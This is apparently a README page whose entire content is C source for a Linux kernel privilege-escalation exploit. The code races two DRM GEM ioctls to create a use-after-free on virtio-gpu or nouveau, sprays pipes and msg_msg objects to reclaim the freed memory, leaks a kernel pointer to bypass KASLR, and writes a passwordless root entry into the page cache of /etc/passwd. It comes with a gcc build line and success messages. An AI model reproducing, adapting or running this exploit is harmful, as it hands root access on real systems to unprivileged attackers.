README.md
Rendering markdown...
/*
* DRM GEM UAF exploit - race in DRM_IOCTL_GEM_CHANGE_HANDLE (0xD2)
*
* Chain: UAF -> pipe spray reclaim -> KASLR bypass -> DirtyPipe fix bypass
* -> page cache overwrite of /etc/passwd
*
* gcc -o poc poc.c -lpthread -static
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <time.h>
/* DRM ioctl definitions */
#define DRM_IOCTL_BASE 'd'
struct drm_gem_close {
uint32_t handle;
uint32_t pad;
};
#define DRM_IOCTL_GEM_CLOSE _IOW(DRM_IOCTL_BASE, 0x09, struct drm_gem_close)
struct drm_gem_flink {
uint32_t handle;
uint32_t name;
};
#define DRM_IOCTL_GEM_FLINK _IOWR(DRM_IOCTL_BASE, 0x0a, struct drm_gem_flink)
struct drm_gem_change_handle {
uint32_t handle;
uint32_t new_handle;
};
#define DRM_IOCTL_GEM_CHANGE_HANDLE _IOWR(DRM_IOCTL_BASE, 0xD2, struct drm_gem_change_handle)
struct drm_mode_create_dumb {
uint32_t height;
uint32_t width;
uint32_t bpp;
uint32_t flags;
uint32_t handle;
uint32_t pitch;
uint64_t size;
};
#define DRM_IOCTL_MODE_CREATE_DUMB _IOWR(DRM_IOCTL_BASE, 0xB2, struct drm_mode_create_dumb)
/* Driver detection */
struct drm_version {
int version_major;
int version_minor;
int version_patchlevel;
size_t name_len;
char *name;
size_t date_len;
char *date;
size_t desc_len;
char *desc;
};
#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version)
/* virtio-gpu: RESOURCE_INFO returns obj->size at gem offset 216 */
struct drm_virtgpu_resource_info {
uint32_t bo_handle;
uint32_t res_handle;
uint32_t size;
uint32_t blob_mem;
};
#define DRM_COMMAND_BASE 0x40
#define DRM_VIRTGPU_RESOURCE_INFO 0x05
#define DRM_IOCTL_VIRTGPU_RESOURCE_INFO \
_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VIRTGPU_RESOURCE_INFO, \
struct drm_virtgpu_resource_info)
/* nouveau: GEM_INFO returns obj->size at gem offset 216 (same overlap) */
struct drm_nouveau_gem_info {
uint32_t handle;
uint32_t domain;
uint64_t size;
uint64_t offset;
uint64_t map_handle;
uint32_t tile_mode;
uint32_t tile_flags;
};
#define DRM_NOUVEAU_GEM_INFO 0x43
#define DRM_IOCTL_NOUVEAU_GEM_INFO \
_IOWR(DRM_IOCTL_BASE, DRM_NOUVEAU_GEM_INFO, struct drm_nouveau_gem_info)
enum drm_driver_type {
DRV_UNKNOWN = 0,
DRV_VIRTIO_GPU,
DRV_NOUVEAU,
};
static enum drm_driver_type g_driver;
/*
* Struct offsets - stable across 6.19 through 7.0-rc7.
* Defaults verified via pahole. Override with -D flags for other kernels.
*/
#ifndef GEM_SIZE_OFF
#define GEM_SIZE_OFF 216
#define GEM_NAME_OFF 224
#define GEM_FUNCS_OFF 352
#define PIPEBUF_OPS_OFF 16
#define PIPEBUF_FLAGS_OFF 24
#define PIPEBUF_SIZE_ACTUAL 40
#define OVERLAP_IDX 5
#define PIPE_SLOTS 8
#define FILL_COUNT 5
#endif
#define SPRAY_PIPES 2048
#define PIPE_BUFS_COUNT PIPE_SLOTS
#define PIPE_FILL_PAGES FILL_COUNT
#define FLINK_PREALLOC 15
#define TARGET_FILE "/etc/passwd"
/* Race state */
static int g_fd;
static uint32_t g_handle;
static uint32_t g_new_handle;
static volatile int g_go;
static int g_change_ret;
static int g_close_ret;
/* Adaptive timing */
static int64_t g_stagger_ns;
static volatile int g_delay_who;
static inline uint64_t now_ns(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (uint64_t)ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}
static inline void spin_ns(int64_t ns)
{
if (ns <= 0) return;
uint64_t target = now_ns() + ns;
while (now_ns() < target)
__asm__ volatile("pause" ::: "memory");
}
static void *thread_change_handle(void *arg)
{
struct drm_gem_change_handle ch = {
.handle = g_handle,
.new_handle = g_new_handle,
};
while (!g_go)
__asm__ volatile("pause" ::: "memory");
if (g_delay_who == 1)
spin_ns(g_stagger_ns);
g_change_ret = ioctl(g_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch);
if (g_change_ret == 0)
*(uint32_t *)arg = ch.new_handle;
else
*(uint32_t *)arg = 0;
return NULL;
}
static void *thread_close_handle(void *arg)
{
struct drm_gem_close cl = { .handle = g_handle };
(void)arg;
while (!g_go)
__asm__ volatile("pause" ::: "memory");
if (g_delay_who == 0)
spin_ns(g_stagger_ns);
g_close_ret = ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
return NULL;
}
static uint32_t create_gem_bo(int fd);
/*
* Calibrate race timing: measure solo ioctl latencies, compute stagger
* to make both threads hit table_lock simultaneously.
*/
#define CALIB_ITERS 200
static void calibrate_race_timing(void)
{
uint64_t t_change = 0, t_close = 0;
for (int i = 0; i < CALIB_ITERS; i++) {
uint32_t h = create_gem_bo(g_fd);
if (!h) continue;
uint64_t t0 = now_ns();
struct drm_gem_change_handle ch = { .handle = h, .new_handle = 0xF0000 + i };
ioctl(g_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch);
uint64_t t1 = now_ns();
t_change += (t1 - t0);
t0 = now_ns();
struct drm_gem_close cl = { .handle = 0xF0000 + i };
ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
t1 = now_ns();
t_close += (t1 - t0);
}
int64_t avg_change = t_change / CALIB_ITERS;
int64_t avg_close = t_close / CALIB_ITERS;
int64_t delta = avg_change - avg_close;
if (delta > 0) {
g_delay_who = 0;
g_stagger_ns = delta / 2;
} else {
g_delay_who = 1;
g_stagger_ns = (-delta) / 2;
}
printf("[*] Calibration: change=%ldns close=%ldns delta=%ldns\n",
(long)avg_change, (long)avg_close, (long)delta);
printf("[*] delay %s by %ldns (+/-jitter)\n",
g_delay_who ? "change" : "close", (long)g_stagger_ns);
}
static int open_drm_device(void)
{
DIR *dir = opendir("/dev/dri");
struct dirent *ent;
char path[512], name[64];
int fd;
if (!dir) return -1;
while ((ent = readdir(dir)) != NULL) {
if (strncmp(ent->d_name, "card", 4) == 0) {
snprintf(path, sizeof(path), "/dev/dri/%s", ent->d_name);
fd = open(path, O_RDWR);
if (fd < 0) continue;
memset(name, 0, sizeof(name));
struct drm_version ver = {
.name_len = sizeof(name) - 1,
.name = name,
};
if (ioctl(fd, DRM_IOCTL_VERSION, &ver) == 0) {
if (strstr(name, "virtio"))
g_driver = DRV_VIRTIO_GPU;
else if (strstr(name, "nouveau"))
g_driver = DRV_NOUVEAU;
else {
printf("[-] Unsupported driver: %s\n", name);
printf("[-] Supported: virtio_gpu, nouveau\n");
close(fd);
continue;
}
printf("[*] Driver: %s\n", name);
}
closedir(dir);
return fd;
}
}
closedir(dir);
return -1;
}
static uint32_t create_gem_bo(int fd)
{
struct drm_mode_create_dumb c = { .width=64, .height=64, .bpp=32 };
return ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &c) < 0 ? 0 : c.handle;
}
/* Pipe spray */
static int pipe_fds[SPRAY_PIPES][2];
static int pipe_count;
static void create_target_file(void)
{
int fd = open(TARGET_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("create target file"); return; }
char page[4096];
memset(page, 0, sizeof(page));
snprintf(page, sizeof(page),
"root:x:0:0:root:/root:/bin/sh\n"
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n"
"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n"
"user:x:1000:1000:unprivileged:/home/user:/bin/sh\n");
int len = strlen(page);
for (int i = len; i < 4096; i++)
page[i] = '\n';
write(fd, page, sizeof(page));
close(fd);
}
static int do_pipe_spray_with_splice(void)
{
char page_buf[4096];
memset(page_buf, 'A', sizeof(page_buf));
int target_fd = open(TARGET_FILE, O_RDONLY);
if (target_fd < 0) { perror("open target"); return 0; }
pipe_count = 0;
for (int i = 0; i < SPRAY_PIPES; i++) {
int pfd[2];
if (pipe(pfd) < 0) break;
int sz = fcntl(pfd[1], 1031 /* F_SETPIPE_SZ */, PIPE_BUFS_COUNT * 4096);
if (sz < 0) { close(pfd[0]); close(pfd[1]); continue; }
for (int j = 0; j < PIPE_FILL_PAGES; j++)
write(pfd[1], page_buf, sizeof(page_buf));
loff_t off = 0;
ssize_t n = splice(target_fd, &off, pfd[1], NULL, 1, 0);
if (n != 1) { close(pfd[0]); close(pfd[1]); continue; }
pipe_fds[pipe_count][0] = pfd[0];
pipe_fds[pipe_count][1] = pfd[1];
pipe_count++;
}
close(target_fd);
return pipe_count;
}
static void free_pipe_spray(void)
{
for (int i = 0; i < pipe_count; i++) {
close(pipe_fds[i][0]);
close(pipe_fds[i][1]);
}
pipe_count = 0;
}
/* Adaptive race statistics */
static int race_change_won, race_close_won, race_both_ok, race_both_fail;
static uint32_t try_race_once(int iter)
{
pthread_t t1, t2;
uint32_t nh = 0;
g_handle = create_gem_bo(g_fd);
if (!g_handle) return 0;
g_new_handle = 0x20000 + iter;
g_go = 0;
g_change_ret = g_close_ret = -1;
/* Jitter stagger +/-25% to sweep the race window */
int64_t base = g_stagger_ns;
int64_t jitter = base / 4;
if (jitter > 0)
g_stagger_ns = base + (rand() % (2 * jitter + 1)) - jitter;
__asm__ volatile("" ::: "memory");
pthread_create(&t1, NULL, thread_change_handle, &nh);
pthread_create(&t2, NULL, thread_close_handle, NULL);
usleep(50);
g_go = 1;
__asm__ volatile("" ::: "memory");
pthread_join(t1, NULL);
pthread_join(t2, NULL);
g_stagger_ns = base;
if (g_change_ret == 0 && g_close_ret == 0)
race_both_ok++;
else if (g_change_ret == 0)
race_change_won++;
else if (g_close_ret == 0)
race_close_won++;
else
race_both_fail++;
/* Adaptive feedback: shift stagger toward balance */
if (iter > 0 && (iter % 500) == 0) {
int total = race_change_won + race_close_won + race_both_ok + race_both_fail;
if (total > 0) {
int close_pct = (race_close_won * 100) / total;
int change_pct = (race_change_won * 100) / total;
if (close_pct > 80) {
if (g_delay_who == 0) g_stagger_ns += 50;
else g_stagger_ns = (g_stagger_ns > 50) ? g_stagger_ns - 50 : 0;
} else if (change_pct > 80) {
if (g_delay_who == 1) g_stagger_ns += 50;
else g_stagger_ns = (g_stagger_ns > 50) ? g_stagger_ns - 50 : 0;
}
if (g_stagger_ns == 0 && (close_pct > 90 || change_pct > 90)) {
g_delay_who ^= 1;
g_stagger_ns = 100;
}
}
if (iter % 2000 == 0) {
printf("[*] iter=%d stagger=%ldns delay_%s "
"stats: change=%d close=%d both=%d fail=%d\n",
iter, (long)g_stagger_ns,
g_delay_who ? "change" : "close",
race_change_won, race_close_won,
race_both_ok, race_both_fail);
}
race_change_won = race_close_won = race_both_ok = race_both_fail = 0;
}
if (g_change_ret == 0 && g_close_ret == 0 && nh)
return nh;
if (g_change_ret == 0 && nh) {
struct drm_gem_close cl = { .handle = nh };
ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
} else if (g_change_ret != 0 && g_close_ret != 0) {
struct drm_gem_close cl = { .handle = g_handle };
ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
}
return 0;
}
struct exploit_result {
uint32_t leaked32;
uint64_t kernel_base;
int file_modified;
};
/* Slab feng shui: drain kmalloc-512 via msg_msg spray */
#define FENGSHUI_SPRAY 512
#define FENGSHUI_MSGSIZE 464
struct msgbuf_512 {
long mtype;
char mtext[FENGSHUI_MSGSIZE];
};
static int fengshui_qid = -1;
static int fengshui_count;
static void do_slab_fengshui(void)
{
struct msgbuf_512 msg;
memset(&msg, 0x41, sizeof(msg));
msg.mtype = 1;
fengshui_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (fengshui_qid < 0) { perror("msgget"); return; }
fengshui_count = 0;
for (int i = 0; i < FENGSHUI_SPRAY; i++) {
msg.mtype = i + 1;
if (msgsnd(fengshui_qid, &msg, FENGSHUI_MSGSIZE, IPC_NOWAIT) < 0)
break;
fengshui_count++;
}
/* Free 8 to leave headroom - LIFO guarantees reclamation */
for (int i = 0; i < 8; i++)
msgrcv(fengshui_qid, &msg, FENGSHUI_MSGSIZE, fengshui_count - i, IPC_NOWAIT);
}
static void cleanup_fengshui(void)
{
if (fengshui_qid >= 0)
msgctl(fengshui_qid, IPC_RMID, NULL);
fengshui_qid = -1;
}
static void spawn_safe_shell(void)
{
/* Fork so child keeps g_fd open; parent exits cleanly */
pid_t p = fork();
if (p == 0) {
for (;;) pause();
}
if (g_fd >= 0) { close(g_fd); g_fd = -1; }
_exit(0);
for (;;) pause();
}
static void do_exploit(void)
{
uint32_t dangling = 0;
int race_iter = 0;
struct exploit_result res = { 0 };
uint32_t flink_handles[FLINK_PREALLOC];
struct rlimit rl = { .rlim_cur = 65536, .rlim_max = 65536 };
setrlimit(RLIMIT_NOFILE, &rl);
g_fd = open_drm_device();
if (g_fd < 0) { fprintf(stderr, "[-] No DRM device\n"); return; }
printf("[*] DRM fd=%d\n", g_fd);
srand(now_ns() & 0xFFFFFFFF);
calibrate_race_timing();
if (access(TARGET_FILE, F_OK) != 0) {
create_target_file();
printf("[*] Created %s\n", TARGET_FILE);
} else {
printf("[*] Target: %s\n", TARGET_FILE);
}
do_slab_fengshui();
printf("[*] Feng shui: %d msg_msg -> kmalloc-512\n", fengshui_count);
for (int round = 0; round < 200; round++) {
/* Phase 1: Race for dangling handle */
if (!dangling) {
printf("[*] Phase 1: Racing...\n");
for (; race_iter < 5000000; race_iter++) {
dangling = try_race_once(race_iter);
if (dangling) break;
if (race_iter > 0 && (race_iter % 2000) == 0)
printf("[*] attempt %d...\n", race_iter);
}
if (!dangling) {
fprintf(stderr, "[-] Race failed after %d attempts\n", race_iter);
return;
}
printf("[!] Race won (iter %d): handle=%u\n", race_iter++, dangling);
usleep(50000);
}
/* Phase 2: Pipe spray + splice */
printf("[*] Phase 2: Pipe spray...\n");
int total = do_pipe_spray_with_splice();
printf("[*] %d pipes\n", total);
/* Phase 3: KASLR bypass - read pipe_buf_ops through type confusion */
printf("[*] Phase 3: KASLR bypass...\n");
uint32_t leaked32 = 0;
int leak_ok = 0;
if (g_driver == DRV_VIRTIO_GPU) {
struct drm_virtgpu_resource_info ri = { .bo_handle = dangling };
if (ioctl(g_fd, DRM_IOCTL_VIRTGPU_RESOURCE_INFO, &ri) == 0) {
leaked32 = ri.size;
leak_ok = 1;
}
} else if (g_driver == DRV_NOUVEAU) {
struct drm_nouveau_gem_info ni = { .handle = dangling };
if (ioctl(g_fd, DRM_IOCTL_NOUVEAU_GEM_INFO, &ni) == 0) {
leaked32 = (uint32_t)ni.size;
leak_ok = 1;
}
}
if (!leak_ok) {
printf("[-] Info ioctl failed, re-racing\n");
free_pipe_spray();
dangling = 0;
continue;
}
printf("[*] leaked = 0x%08x\n", leaked32);
if (!(leaked32 >= 0x81000000 && leaked32 < 0xc0000000)) {
printf("[*] Not kernel text, re-racing...\n");
free_pipe_spray();
dangling = 0;
continue;
}
uint64_t leaked_ops = 0xffffffff00000000ULL | (uint64_t)leaked32;
res.leaked32 = leaked32;
printf("[!] KASLR: pipe_buf_ops = 0x%016lx\n", (unsigned long)leaked_ops);
/* Phase 4: FLINK pre-alloc IDs 1-15, then FLINK dangling -> ID 16 = CAN_MERGE */
printf("[*] Phase 4: FLINK...\n");
for (int i = 0; i < FLINK_PREALLOC; i++) {
flink_handles[i] = create_gem_bo(g_fd);
if (!flink_handles[i]) break;
struct drm_gem_flink fl = { .handle = flink_handles[i] };
ioctl(g_fd, DRM_IOCTL_GEM_FLINK, &fl);
}
struct drm_gem_flink fl = { .handle = dangling };
if (ioctl(g_fd, DRM_IOCTL_GEM_FLINK, &fl) < 0) {
printf("[-] FLINK failed: %s\n", strerror(errno));
for (int i = 0; i < FLINK_PREALLOC; i++) {
if (flink_handles[i]) {
struct drm_gem_close cl = { .handle = flink_handles[i] };
ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
}
}
free_pipe_spray();
continue;
}
printf("[!] FLINK dangling: name=%u (0x%x)\n", fl.name, fl.name);
/* Phase 5: Write to pipes - one merges into file page cache */
printf("[*] Phase 5: Writing pipes...\n");
const char payload[] =
"oot::0:0:pwned:/root:/bin/sh\n"
"# DRM GEM UAF + DirtyPipe bypass\n";
int wrote = 0;
for (int i = 0; i < pipe_count; i++) {
ssize_t n = write(pipe_fds[i][1], payload, sizeof(payload) - 1);
if (n > 0) wrote++;
}
printf("[*] %d/%d pipes written\n", wrote, pipe_count);
/* Phase 6: Verify */
int fd = open(TARGET_FILE, O_RDONLY);
char buf[4096] = {0};
if (fd >= 0) { read(fd, buf, sizeof(buf) - 1); close(fd); }
if (!strstr(buf, "pwned")) {
printf("[*] Not modified this round\n");
for (int i = 0; i < FLINK_PREALLOC; i++) {
if (flink_handles[i]) {
struct drm_gem_close cl = { .handle = flink_handles[i] };
ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
}
}
free_pipe_spray();
continue;
}
res.file_modified = 1;
cleanup_fengshui();
printf("\n[!] EXPLOIT SUCCESSFUL\n");
printf("[!] %s overwritten - passwordless root\n", TARGET_FILE);
printf("[!] KASLR: 0x%016llx\n",
(unsigned long long)(0xffffffff00000000ULL | (uint64_t)res.leaked32));
printf("[!] FLINK: %u = 0x%x\n", fl.name, fl.name);
printf("[*] %s:\n", TARGET_FILE);
printf(" %.200s\n", buf);
spawn_safe_shell();
}
cleanup_fengshui();
printf("\n[-] Failed after 200 rounds.\n");
if (dangling)
spawn_safe_shell();
}
int main(void)
{
printf("DRM GEM UAF - DirtyPipe Fix Bypass\n");
printf("Offsets: gem.size=%d gem.name=%d pipe_buf=%d\n",
GEM_SIZE_OFF, GEM_NAME_OFF, PIPEBUF_SIZE_ACTUAL);
printf("Overlap: buf[%d].ops@%d buf[%d].flags@%d\n\n",
OVERLAP_IDX, OVERLAP_IDX * PIPEBUF_SIZE_ACTUAL + PIPEBUF_OPS_OFF,
OVERLAP_IDX, OVERLAP_IDX * PIPEBUF_SIZE_ACTUAL + PIPEBUF_FLAGS_OFF);
do_exploit();
return 1;
}